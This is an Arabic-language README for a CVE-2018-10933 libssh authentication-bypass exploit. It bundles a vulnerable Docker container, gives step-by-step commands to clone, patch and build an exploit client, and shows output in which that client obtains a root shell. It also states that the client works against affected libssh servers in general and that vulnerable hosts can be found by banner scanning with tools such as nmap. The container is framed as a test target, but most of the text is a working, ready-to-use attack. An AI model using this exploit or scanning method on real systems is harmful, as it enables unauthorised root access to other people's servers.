
cve-2018-10933 libssh تجاوز المصادقة
CVE-2018-10933 libssh تجاوز المصادقة، حاوية Docker ضعيفة تستمع على المنفذ 2222 للاستغلال. تم تضمين نموذج إثبات مفهوم لتصحيح libssh في الحاوية لتجاوز المصادقة. لتسجيل الدخول استخدم "myuser" / "mypassword" الافتراضيين من libssh. يتم تطبيق تصحيح على نسخة من libssh في حاوية Docker يقوم بحقن حزمة SSH2_MSG_USERAUTH_SUCCESS أثناء أي محاولة مصادقة (keyboard-interactive / pubkey / gss-api إلخ) ويضبط حالة جانب العميل للمتابعة. تم تصحيح الخادم المضمن من كود المثال للسماح بنجاح الاستغلال.
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
يتوفر في الحاوية كل من exploit-libssh-0.8.3 المُصَحَّح و sshd الضعيف لأغراض الاختبار. سيتجاوز "ssh-client" المصادقة بنجاح لكنه غير قادر على إنشاء قوقعة (shell) ضد خادم المثال الافتراضي بسبب فحوصات إضافية للمصادقة في كود الخادم.
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
من التقرير الاستشاري "يمكن للعميل الضار إنشاء قنوات دون إجراء المصادقة أولاً، مما يؤدي إلى وصول غير مصرح به."
يُظهر مخرجات تصحيح libssh التالية نجاح المصادقة على الخادم وإنشاء قناة جلسة. أصبح المضيف الآن موثوقًا به لكن فحوصات إضافية في جانب الخادم تمنع تنفيذ الأوامر. لا يزال بإمكان المهاجم محاولة توجيه/بروكسي الاتصالات عبر الخدمة.
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
تؤدي محاولات تشغيل القواقع / exec أو pty إلى جلسة ناجحة لكن أخطاء على خادم المثال بسبب فحوصات إضافية لحالة مصادقة المستخدم. تظهر الأخطاء التالية على خادم المثال.
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
لا يزال من الممكن أن تؤدي خوادم libssh المخصصة إلى تنفيذ تعليمات برمجية عشوائية لكن الأغلبية قد تسمح فقط بالتوجيه أو بعض إساءة استخدام بروتوكول SSH. بإزالة فحص المصادقة الإضافي يصبح الخادم الآن عرضة لاستغلال تجاوز المصادقة. من الممكن أن يؤدي تنفيذ libssh من جانب الخادم إلى إدخال هذه الثغرة. فيما يلي مثال على استغلال ناجح باستخدام libssh المُصَحَّح.
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
ستقوم حاوية Docker بتشغيل مثال "ssh_server_fork" الضعيف افتراضيًا، يمكن العثور على الأصل في دليل "libssh-0.8.3" لأغراض الاختبار/التصحيح.
يبدو أن البائعين التاليين متأثرون عمليًا بهذا العيب بسبب استخدامهم لـ libssh.
تم تثبيت libssh محليًا على عدد من توزيعات *BSD و Linux ويستخدم بواسطة ffmpeg (؟) و hydra وعدد صغير من حزم البرامج مفتوحة المصدر.
يمكنك بناء عميل libssh مُصَحَّح من هذا المستودع لاستخدام الاستغلال.
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
يمكنك بعد ذلك استخدام "ssh-client" وأي أمثلة لتجاوز المصادقة على تطبيقات خادم libssh المتأثرة.
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
يمكن إجراء مسح للمضيفين يحتمل أن يكونوا ضعفاء ببساطة عن طريق التقاط البانر العادي على منافذ SSH المتأثرة (مثل nmap).
SSH-2.0-libssh_0.8.3
التقرير الاستشاري الأصلي موجود في CVE-2018-10933.txt، الثغرة وجدها Peter Winter Smith. تم إصدار حاوية Docker الضعيفة وتصحيح استغلال libssh بواسطة Hacker House (https://hacker.house).
هذه الملفات متاحة بموجب رخصة BSD ثلاثية البنود.